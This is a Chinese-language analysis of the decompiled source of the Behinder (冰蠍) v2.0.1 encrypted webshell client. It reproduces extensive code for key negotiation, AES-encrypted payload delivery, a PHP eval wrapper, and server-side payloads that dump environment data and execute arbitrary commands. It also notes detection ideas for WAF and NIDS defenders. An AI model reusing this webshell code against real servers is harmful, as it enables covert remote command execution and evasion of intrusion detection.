冰蠍v2.0.1核心部分源碼淺析


0x01 為什么要分析冰蠍

冰蠍是一種新型的木馬連接工具,具備強大的功能,只要將冰蠍碼上傳到服務器並能夠成功訪問,那就可以執行諸多實用的功能,包括獲取服務器基本信息,執行系統命令,文件管理,數據庫管理,反彈meterpreter,執行自定義代碼等,功能強大。而且和同類型的菜刀,蟻劍相比,加密了流量,只要在上傳冰蠍碼時和密匙協商建立連接的時候流量分析設備不能夠檢測出來,那么連接成功建立之后,waf,ids,ips就會好難再檢測到出來。所以,冰蠍絕對是目前滲透測試,紅藍對抗中紅方的一大利器。對於紅方而言,怎么更好地利用冰蠍,怎么繞過安全流量分析設備對冰蠍的檢測,對於藍方而言,怎么更好地檢測和防御冰蠍,就成為了一個重要的話題。

0x02 開始

此次進行分析的是冰蠍v2.0.1版本的代碼,從總體上看,冰蠍是先請求服務端,服務端判斷請求之后生成一個128位的隨機數,並將這個128位的隨機數寫入到session里面,並將這個128位的隨機數返回給客戶端,但是客戶端並不會使用這個key作為之后的通訊的key,而是會繼續重復上面過程,不斷獲取key,直到滿足特定條件(下面的貼出代碼)之后,才會確定是最終的key。客戶端會保存這個key和響應報文里面的set-cookie的值。這個key就是之后客戶端和服務端進行通訊的密匙。

獲取key和保存cookie之后,獲取服務端信息,執行命令,文件操作,數據庫操作等都是使用這個key和cookie進行操作,對執行的代碼動態生成class字節數組,然后使用key進行aes加密,再進行base64編碼,並用post方式發送數據。接收服務端返回的數據時,先使用key進行解密,解密之后的數據一般是使用了base64編碼,解碼之后就可以獲取服務端返回的明文數據。

0x03 協商密匙 getKeyAndCookie

客戶端打開和服務端的連接之后,會先調用BasicInfoUtils類,在BasicInfoUtils類的getBasicInfo方法里,會調用ShellService的構造方法新建ShellService類。而在ShellService類里面的構造方法,會調用Utils的getKeyAndCookie方法。

public static void getBasicInfo(final JSONObject shellEntity, final Browser baseInfoView, final Tree dirTree, final Text cmdview, final Label connectStatus, Text memoTxt, final Text imagePathTxt, Text msfTipsTxt, final Label statusLabel, final StyledText sourceCodeTxt, final Browser updateInfo, final Combo currentPathCombo, final Text sqlTxt) throws Exception {
    int uaIndex = (new Random()).nextInt(Constants.userAgents.length - 1);
    final String currentUserAgent = Constants.userAgents[uaIndex];
    final MainShell mainShell = (MainShell)dirTree.getShell();
    memoTxt.setText(shellEntity.getString("memo"));
    formatPayloadName(shellEntity.getString("type"), msfTipsTxt, "meterpreter");
    connectStatus.setText("Checking....");
    statusLabel.setText("正在獲取基本信息……");
    (new Thread() {
        public void run() {
            try {
                mainShell.currentShellService = new ShellService(shellEntity, currentUserAgent);

                try {
                    if (mainShell.currentShellService.currentType.equals("php")) {
                        String content = UUID.randomUUID().toString();
                        JSONObject obj = mainShell.currentShellService.echo(content);
                        if (obj.getString("msg").equals(content)) {
                            mainShell.currentShellService.encryptType = Constants.ENCRYPT_TYPE_AES;
                        }
                    }
                } catch (Exception var6) {
                    var6.printStackTrace();
                    mainShell.currentShellService.encryptType = Constants.ENCRYPT_TYPE_XOR;
                }

下面來分析Utils.getKeyAndCookie方法:

放到服務端的木馬里面會判斷發送上來的請求是否帶有pass參數,而在getKeyAndCookie里,password的值就是連接的時候的訪問密碼里的值,所以在連接的時候訪問密碼應該要填pass,否則響應報文會返回密匙獲取失敗,密碼錯誤的錯誤信息.密匙獲取成功的話,會返回一個128位的密匙,並保存在rawKey_1里面。

public static Map<String, String> getKeyAndCookie(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
    disableSslVerification();
    Map<String, String> result = new HashMap();
    StringBuffer sb = new StringBuffer();
    InputStreamReader isr = null;
    BufferedReader br = null;
    URL url;
    if (getUrl.indexOf("?") > 0) {
        url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
    } else {
        url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
    }

    HttpURLConnection.setFollowRedirects(false);
    Object urlConnection;
    String urlwithSession;
    String errorMsg;
    if (url.getProtocol().equals("https")) {
        if (Main.currentProxy != null) {
            urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
            if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
                urlwithSession = "Proxy-Authorization";
                errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
                ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
            }
        } else {
            urlConnection = (HttpsURLConnection)url.openConnection();
        }
    } else if (Main.currentProxy != null) {
        urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
        if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
            urlwithSession = "Proxy-Authorization";
            errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
            ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
        }
    } else {
        urlConnection = (HttpURLConnection)url.openConnection();
    }

    Iterator var23 = requestHeaders.keySet().iterator();

    while(var23.hasNext()) {
        urlwithSession = (String)var23.next();
        ((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, (String)requestHeaders.get(urlwithSession));
    }

    if (((HttpURLConnection)urlConnection).getResponseCode() == 302 || ((HttpURLConnection)urlConnection).getResponseCode() == 301) {
        urlwithSession = ((String)((List)((HttpURLConnection)urlConnection).getHeaderFields().get("Location")).get(0)).toString();
        if (!urlwithSession.startsWith("http")) {
            urlwithSession = url.getProtocol() + "://" + url.getHost() + ":" + (url.getPort() == -1 ? url.getDefaultPort() : url.getPort()) + urlwithSession;
            urlwithSession = urlwithSession.replaceAll(password + "=[0-9]*", "");
        }

        result.put("urlWithSession", urlwithSession);
    }

    boolean error = false;
    errorMsg = "";
    if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
        error = true;
        errorMsg = "密鑰獲取失敗,密碼錯誤?";
    } else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
        error = true;
        errorMsg = "頁面返回404錯誤";
    } else {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
    }

    br = new BufferedReader(isr);

    String line;
    while((line = br.readLine()) != null) {
        sb.append(line);
    }

    br.close();
    if (error) {
        throw new Exception(errorMsg);
    } else {
        String rawKey_1 = sb.toString();
        String pattern = "[a-fA-F0-9]{16}";
        Pattern r = Pattern.compile(pattern);
        Matcher m = r.matcher(rawKey_1);
        if (!m.find()) {
            throw new Exception("頁面存在,但是無法獲取密鑰!");
        } else {
            int start = 0;
            int end = 0;
            int cycleCount = 0;

            while(true) {
                Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
                String rawKey_2 = (String)KeyAndCookie.get("key");
                byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());

                int i;
                for(i = 0; i < temp.length; ++i) {
                    if (temp[i] > 0) {
                        if (start == 0 || i <= start) {
                            start = i;
                        }
                        break;
                    }
                }

                for(i = temp.length - 1; i >= 0; --i) {
                    if (temp[i] > 0) {
                        if (i >= end) {
                            end = i + 1;
                        }
                        break;
                    }
                }

                if (end - start == 16) {
                    result.put("cookie", (String)KeyAndCookie.get("cookie"));
                    result.put("beginIndex", String.valueOf(start));
                    result.put("endIndex", String.valueOf(temp.length - end));
                    String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
                    result.put("key", finalKey);
                    return result;
                }

                if (cycleCount > 10) {
                    throw new Exception("Can't figure out the key!");
                }

                ++cycleCount;
            }
        }
    }
}

判斷得到的密匙rawKey_1之后,進入循環調用getRawKey方法,並獲取rawKey_2,並且將rawKey_1和rawKey_2進行異或操作。獲取rawKey_2的方法和獲取rawKey_1基本是一樣的。

public static Map<String, String> getRawKey(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
    Map<String, String> result = new HashMap();
    StringBuffer sb = new StringBuffer();
    InputStreamReader isr = null;
    BufferedReader br = null;
    URL url;
    if (getUrl.indexOf("?") > 0) {
        url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
    } else {
        url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
    }

    HttpURLConnection.setFollowRedirects(false);
    Object urlConnection;
    String cookieValues;
    String headerValue;
    if (url.getProtocol().equals("https")) {
        if (Main.currentProxy != null) {
            urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
            if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
                cookieValues = "Proxy-Authorization";
                headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
                ((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, headerValue);
            }
        } else {
            urlConnection = (HttpsURLConnection)url.openConnection();
        }
    } else if (Main.currentProxy != null) {
        urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
        if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
            cookieValues = "Proxy-Authorization";
            headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
            ((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, headerValue);
        }
    } else {
        urlConnection = (HttpURLConnection)url.openConnection();
    }

    Iterator var15 = requestHeaders.keySet().iterator();

    while(var15.hasNext()) {
        cookieValues = (String)var15.next();
        ((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, (String)requestHeaders.get(cookieValues));
    }

    cookieValues = "";
    Map<String, List<String>> headers = ((HttpURLConnection)urlConnection).getHeaderFields();
    Iterator var12 = headers.keySet().iterator();

    String line;
    while(var12.hasNext()) {
        String headerName = (String)var12.next();
        if (headerName != null && headerName.equalsIgnoreCase("Set-Cookie")) {
            for(Iterator var14 = ((List)headers.get(headerName)).iterator(); var14.hasNext(); cookieValues = cookieValues + ";" + line) {
                line = (String)var14.next();
            }

            cookieValues = cookieValues.startsWith(";") ? cookieValues.replaceFirst(";", "") : cookieValues;
            break;
        }
    }

    result.put("cookie", cookieValues);
    boolean error = false;
    String errorMsg = "";
    if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
        error = true;
        errorMsg = "密鑰獲取失敗,密碼錯誤?";
    } else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
        error = true;
        errorMsg = "頁面返回404錯誤";
    } else {
        isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
    }

    br = new BufferedReader(isr);

    while((line = br.readLine()) != null) {
        sb.append(line);
    }

    br.close();
    if (error) {
        throw new Exception(errorMsg);
    } else {
        result.put("key", sb.toString());
        return result;
    }
}

上面雖然獲取了rawKey_1以及是rawKey_1和rawKey_2異或之后的temp字節數組,但是實際上最終的finalKey其實都是使用rawKey_2,temp數組只是用來控制循環的結束條件。每一次循環,都會重新獲取rawKey_2,重新和rawKey_1異或生成temp字節數組,其中temp字節數組會在兩個循環里面控制start和end變量的值,當end-start==16時,結束循環,並返回最新獲取的rawKey_2作為finalKey。

String rawKey_1 = sb.toString();
String pattern = "[a-fA-F0-9]{16}";
Pattern r = Pattern.compile(pattern);
Matcher m = r.matcher(rawKey_1);
if (!m.find()) {
    throw new Exception("頁面存在,但是無法獲取密鑰!");
} else {
    int start = 0;
    int end = 0;
    int cycleCount = 0;

    while(true) {
        Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
        String rawKey_2 = (String)KeyAndCookie.get("key");
        byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());

        int i;
        for(i = 0; i < temp.length; ++i) {
            if (temp[i] > 0) {
                if (start == 0 || i <= start) {
                    start = i;
                }
                break;
            }
        }

        for(i = temp.length - 1; i >= 0; --i) {
            if (temp[i] > 0) {
                if (i >= end) {
                    end = i + 1;
                }
                break;
            }
        }

        if (end - start == 16) {
            result.put("cookie", (String)KeyAndCookie.get("cookie"));
            result.put("beginIndex", String.valueOf(start));
            result.put("endIndex", String.valueOf(temp.length - end));
            String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
            result.put("key", finalKey);
            return result;
        }

        if (cycleCount > 10) {
            throw new Exception("Can't figure out the key!");
        }

        ++cycleCount;
    }

返回的finalKey就是循環最后一輪獲取的rawKey_2,所以rawKey_1和temp字節數組對於最終的finalKey來說其實並沒有用到。我目前的一個猜測是動態控制請求服務端獲取key的次數,不固定向服務端請求密匙的次數,以此來繞過waf或nids的一些檢測特征,但是其實waf或者nids將同一個會話服務端向客戶端返回的可疑的128位隨機數保存,然后取最后一次保存的128位隨機數作為這個會話的通訊密匙,然后解密這個會話的通訊內容,如果可以成功解密和進行base64解碼,那么就可以判斷明文內容是不是觸發檢測規則。

返回到ShellService之后會獲取之后會獲取返回結果里面的cookie和key,在之后的請求里面都會使用這個cookie和key。

Map<String, String> keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
String cookie = (String)keyAndCookie.get("cookie");
if ((cookie == null || cookie.equals("")) && !this.currentHeaders.containsKey("cookie")) {
    String urlWithSession = (String)keyAndCookie.get("urlWithSession");
    if (urlWithSession != null) {
        this.currentUrl = urlWithSession;
    }

    this.currentKey = (String)Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders).get("key");
} else {
    this.mergeCookie(this.currentHeaders, cookie);
    this.currentKey = (String)keyAndCookie.get("key");
    if (this.currentType.equals("php") || this.currentType.equals("aspx")) {
        this.beginIndex = Integer.parseInt((String)keyAndCookie.get("beginIndex"));
        this.endIndex = Integer.parseInt((String)keyAndCookie.get("endIndex"));
    }
}

至此,getKeyAndCookie部分執行完成。下面將以getBasicInfo和runCMD為例分析如何使用這個cookie和key。

0x04 獲取服務器基本信息 getBasicInfo

在獲取了cookie和key之后,BasicInfoUtil的getBasicInfo就會調用ShellService的getBasicInfo方法來獲取放了木馬的服務器的基本信息。

JSONObject basicInfoObj = new JSONObject(mainShell.currentShellService.getBasicInfo());

在ShellService的getBasicInfo里,會調用Utils.getData方法和Utils.requestAndParse方法,其中,getData方法是使用key加密要執行的代碼的class字節數組,並進行base64編碼;而requestAndParse則是使用帶有獲取的cookie的請求頭來postgetData得到的加密和編碼過后的字節數組,並獲取返回信息。

public String getBasicInfo() throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap();
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");

    try {
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
        return result;
    } catch (Exception var7) {
        var7.printStackTrace();
        throw new Exception("請求失敗:" + new String(resData, "UTF-8"));
    }
}

進入Utils.getData方法,會調用net.rebeyond.behinder.core.Params里面的getParamedClass方法,傳入BasicInfo參數,使用ASM框架來動態修改class文件中的屬性值,詳細可參考https://xz.aliyun.com/t/2744 這篇文章

public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type) throws Exception {
    return getData(key, encryptType, className, params, type, (byte[])null);
}

public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
    byte[] bincls;
    byte[] encrypedBincls;
    if (type.equals("jsp")) {
        className = "net.rebeyond.behinder.payload.java." + className;
        bincls = Params.getParamedClass(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.Encrypt(bincls, key);
        String basedEncryBincls = Base64.encode(encrypedBincls);
        return basedEncryBincls.getBytes();
    } else if (type.equals("php")) {
        bincls = Params.getParamedPhp(className, params);
        bincls = Base64.encode(bincls).getBytes();
        bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
        return Base64.encode(encrypedBincls).getBytes();
    } else if (type.equals("aspx")) {
        bincls = Params.getParamedAssembly(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
        return encrypedBincls;
    } else if (type.equals("asp")) {
        bincls = Params.getParamedAsp(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForAsp(bincls, key);
        return encrypedBincls;
    } else {
        return null;
    }
}

我們來關注傳入去Param的參數BasicInfo這個類的代碼,這個類就是要在放了木馬的服務器上執行的payload,這里必須提醒一句,在服務端上的木馬在使用ClassLoader來實例化接收回來的class字節數組之后,就會調用equals方法,同時傳入Pagecontext對象來使payload獲取到session,request,response對象,然后才是獲取服務器上面的環境變量,jre參數,當前路徑等信息

public boolean equals(Object obj) {
        PageContext page = (PageContext)obj;
        page.getResponse().setCharacterEncoding("UTF-8");
        String result = "";

        try {
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>環境變量:</font><br/>");
            Map<String, String> env = System.getenv();
            Iterator var7 = env.keySet().iterator();

            while(var7.hasNext()) {
                String name = (String)var7.next();
                basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
            }

            basicInfo.append("<br/><font size=2 color=red>JRE系統屬性:</font><br/>");
            Properties props = System.getProperties();
            Set<Entry<Object, Object>> entrySet = props.entrySet();
            Iterator var9 = entrySet.iterator();

            while(var9.hasNext()) {
                Entry<Object, Object> entry = (Entry)var9.next();
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
            }

            String currentPath = (new File("")).getAbsolutePath();
            String driveList = "";
            File[] roots = File.listRoots();
            File[] var14 = roots;
            int var13 = roots.length;

            for(int var12 = 0; var12 < var13; ++var12) {
                File f = var14[var12];
                driveList = driveList + f.getPath() + ";";
            }

            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
            Map<String, String> entity = new HashMap();
            entity.put("basicInfo", basicInfo.toString());
            entity.put("currentPath", currentPath);
            entity.put("driveList", driveList);
            entity.put("osInfo", osInfo);
            result = this.buildJson(entity, true);
            String key = page.getSession().getAttribute("u").toString();
            ServletOutputStream so = page.getResponse().getOutputStream();
            so.write(Encrypt(result.getBytes(), key));
            so.flush();
            so.close();
            page.getOut().clear();
        } catch (Exception var15) {
            var15.printStackTrace();
        }

        return true;
    }

BasicInfo類里對拿到的信息進行base64編碼並轉換成json格式

private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    Iterator var6 = entity.keySet().iterator();

    while(var6.hasNext()) {
        String key = (String)var6.next();
        sb.append("\"" + key + "\":\"");
        String value = ((String)entity.get(key)).toString();
        if (encode) {
            Class Base64;
            Object Encoder;
            if (version.compareTo("1.9") >= 0) {
                this.getClass();
                Base64 = Class.forName("java.util.Base64");
                Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
            } else {
                this.getClass();
                Base64 = Class.forName("sun.misc.BASE64Encoder");
                Encoder = Base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                value = value.replace("\n", "").replace("\r", "");
            }
        }

        sb.append(value);
        sb.append("\",");
    }

    sb.setLength(sb.length() - 1);
    sb.append("}");
    return sb.toString();
}

然后對json數據進行加密,並把數據返回給客戶端

public static byte[] Encrypt(byte[] bs, String key) throws Exception {
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
}

這里再提醒一次,上面BasicInfo是放在服務器上執行的payload,是在放了木馬的服務器上執行的,不是運行客戶端的電腦執行的,獲取到服務器的信息就加密和編碼,再返回給客戶端。客戶端的Utils.getData將這個basicInfo的payload借助Params類來動態生成字節數組,然后再對字節數組加密和base64編碼,然后返回。

public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
    byte[] bincls;
    byte[] encrypedBincls;
    if (type.equals("jsp")) {
        className = "net.rebeyond.behinder.payload.java." + className;
        bincls = Params.getParamedClass(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.Encrypt(bincls, key);
        String basedEncryBincls = Base64.encode(encrypedBincls);
        return basedEncryBincls.getBytes();
    } else if (type.equals("php")) {
        bincls = Params.getParamedPhp(className, params);
        bincls = Base64.encode(bincls).getBytes();
        bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
        return Base64.encode(encrypedBincls).getBytes();
    } else if (type.equals("aspx")) {
        bincls = Params.getParamedAssembly(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
        return encrypedBincls;
    } else if (type.equals("asp")) {
        bincls = Params.getParamedAsp(className, params);
        if (extraData != null) {
            bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
        }

        encrypedBincls = Crypt.EncryptForAsp(bincls, key);
        return encrypedBincls;
    } else {
        return null;
    }
}

接下來調用Utils.requestAndParse來發送數據,這個過程無什么特別,就是post發送帶有cookie的請求頭,加密編碼的字節數組為請求內容的請求報文,並獲取服務端的返回結果

public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
    Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
    byte[] resData = (byte[])resultObj.get("data");
    if ((beginIndex != 0 || endIndex != 0) && resData.length - endIndex >= beginIndex) {
        resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
    }

    resultObj.put("data", resData);
    return resultObj;
}

public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
    Map<String, Object> result = new HashMap();
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    URL url = new URL(urlPath);
    HttpURLConnection conn;
    String key;
    if (Main.currentProxy != null) {
        conn = (HttpURLConnection)url.openConnection(Main.currentProxy);
        if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
            key = "Proxy-Authorization";
            String headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
            conn.setRequestProperty(key, headerValue);
        }
    } else {
        conn = (HttpURLConnection)url.openConnection();
    }

    conn.setRequestProperty("Content-Type", "application/octet-stream");
    conn.setRequestMethod("POST");
    if (header != null) {
        Iterator var13 = header.keySet().iterator();

        while(var13.hasNext()) {
            key = (String)var13.next();
            conn.setRequestProperty(key, (String)header.get(key));
        }
    }

    conn.setDoOutput(true);
    conn.setDoInput(true);
    conn.setUseCaches(false);
    OutputStream outwritestream = conn.getOutputStream();
    outwritestream.write(data);
    outwritestream.flush();
    outwritestream.close();
    byte[] buffer;
    boolean var10;
    DataInputStream din;
    int length;
    if (conn.getResponseCode() == 200) {
        din = new DataInputStream(conn.getInputStream());
        buffer = new byte[1024];
        var10 = false;

        while((length = din.read(buffer)) != -1) {
            bos.write(buffer, 0, length);
        }

        byte[] resData = bos.toByteArray();
        System.out.println("res before decrypt:" + new String(resData));
        result.put("data", resData);
        Map<String, String> responseHeader = new HashMap();
        Iterator var11 = conn.getHeaderFields().keySet().iterator();

        while(var11.hasNext()) {
            String key = (String)var11.next();
            responseHeader.put(key, conn.getHeaderField(key));
        }

        responseHeader.put("status", String.valueOf(conn.getResponseCode()));
        result.put("header", responseHeader);
        return result;
    } else {
        din = new DataInputStream(conn.getErrorStream());
        buffer = new byte[1024];
        var10 = false;

        while((length = din.read(buffer)) != -1) {
            bos.write(buffer, 0, length);
        }

        throw new Exception(new String(bos.toByteArray(), "GBK"));
    }
}

然后就是在ShellService里解密響應報文的數據,

String result = "";
Map<String, String> params = new LinkedHashMap();
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");

try {
    result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    return result;
} catch (Exception var7) {
    var7.printStackTrace();
    throw new Exception("請求失敗:" + new String(resData, "UTF-8"));
}

在BasicInfoUtil里解碼獲取到的服務器信息並顯示

JSONObject basicInfoObj = new JSONObject(mainShell.currentShellService.getBasicInfo());
final String basicInfoStr = new String(Base64.decode(basicInfoObj.getString("basicInfo")), "UTF-8");
final String driveList = (new String(Base64.decode(basicInfoObj.getString("driveList")), "UTF-8")).replace(":\\", ":/");
final String currentPath = new String(Base64.decode(basicInfoObj.getString("currentPath")), "UTF-8");
final String osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo")), "UTF-8")).toLowerCase();
mainShell.basicInfoMap.put("basicInfo", basicInfoStr);
mainShell.basicInfoMap.put("driveList", driveList);
mainShell.basicInfoMap.put("currentPath", currentPath);
mainShell.basicInfoMap.put("osInfo", osInfo.replace("winnt", "windows"));
Display.getDefault().syncExec(new Runnable() {
    public void run() {
        if (!statusLabel.isDisposed()) {
            baseInfoView.setText(basicInfoStr);
            statusLabel.setText("基本信息獲取完成,你可以使用CTRL+F進行搜索");

至此,服務器基本信息獲取完成,getBasicInfo執行完成。

0x05 執行命令 runCmd

明白了上面getBasicInfo的過程的話,runCmd這部分其實就好理解了,大體過程和上面getBasicInfo差不多,只是動態生成的payload字節數組不同。輸入要執行的命令,可以看到在ShellService.runCmd里,也是調用Utils.getData和Utils.requestAndParse,然后解密和解碼返回的數據,再返回出去顯示。

public JSONObject runCmd(String cmd) throws Exception {
    Map<String, String> params = new LinkedHashMap();
    params.put("cmd", cmd);
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "Cmd", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
    String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
    JSONObject result = new JSONObject(resultTxt);
    Iterator var9 = result.keySet().iterator();

    while(var9.hasNext()) {
        String key = (String)var9.next();
        result.put(key, new String(Base64.decode(result.getString(key)), "UTF-8"));
    }

    return result;
}

這是Utils.getData里className就是net.rebeyond.behinder.payload.java.cmd

byte[] bincls;
byte[] encrypedBincls;
if (type.equals("jsp")) {
    className = "net.rebeyond.behinder.payload.java." + className;
    bincls = Params.getParamedClass(className, params);
    if (extraData != null) {
        bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
    }

    encrypedBincls = Crypt.Encrypt(bincls, key);
    String basedEncryBincls = Base64.encode(encrypedBincls);
    return basedEncryBincls.getBytes();

跟進這個Cmd類,入口還是equais方法,在equals里的核心就是這個RunCMD方法,接收傳入的cmd,判斷是windows還是linux,然后執行命令並返回命令執行結果

public boolean equals(Object obj) {
        PageContext page = (PageContext)obj;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();
        page.getResponse().setCharacterEncoding("UTF-8");
        HashMap result = new HashMap();

        try {
            result.put("msg", this.RunCMD(cmd));
            result.put("status", "success");
        } catch (Exception var13) {
            result.put("msg", var13.getMessage());
            result.put("status", "success");
        } finally {
            try {
                ServletOutputStream so = this.Response.getOutputStream();
                so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.flush();
                so.close();
                page.getOut().clear();
            } catch (Exception var12) {
                var12.printStackTrace();
            }

        }

        return true;
    }

    private String RunCMD(String cmd) throws Exception {
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd != null && cmd.length() > 0) {
            Process p;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                p = Runtime.getRuntime().exec(cmd);
            }

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));

            for(String disr = br.readLine(); disr != null; disr = br.readLine()) {
                result = result + disr + "\n";
            }

            result = new String(result.getBytes(osCharset));
        }

        return result;
    }

將命令執行結果加密base64編碼然后返回

try {
    ServletOutputStream so = this.Response.getOutputStream();
    so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
    so.flush();
    so.close();
    page.getOut().clear();
} catch (Exception var12) {
    var12.printStackTrace();
}

ShellService.runCmd方法解密數據並返回

public JSONObject runCmd(String cmd) throws Exception {
    Map<String, String> params = new LinkedHashMap();
    params.put("cmd", cmd);
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "Cmd", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
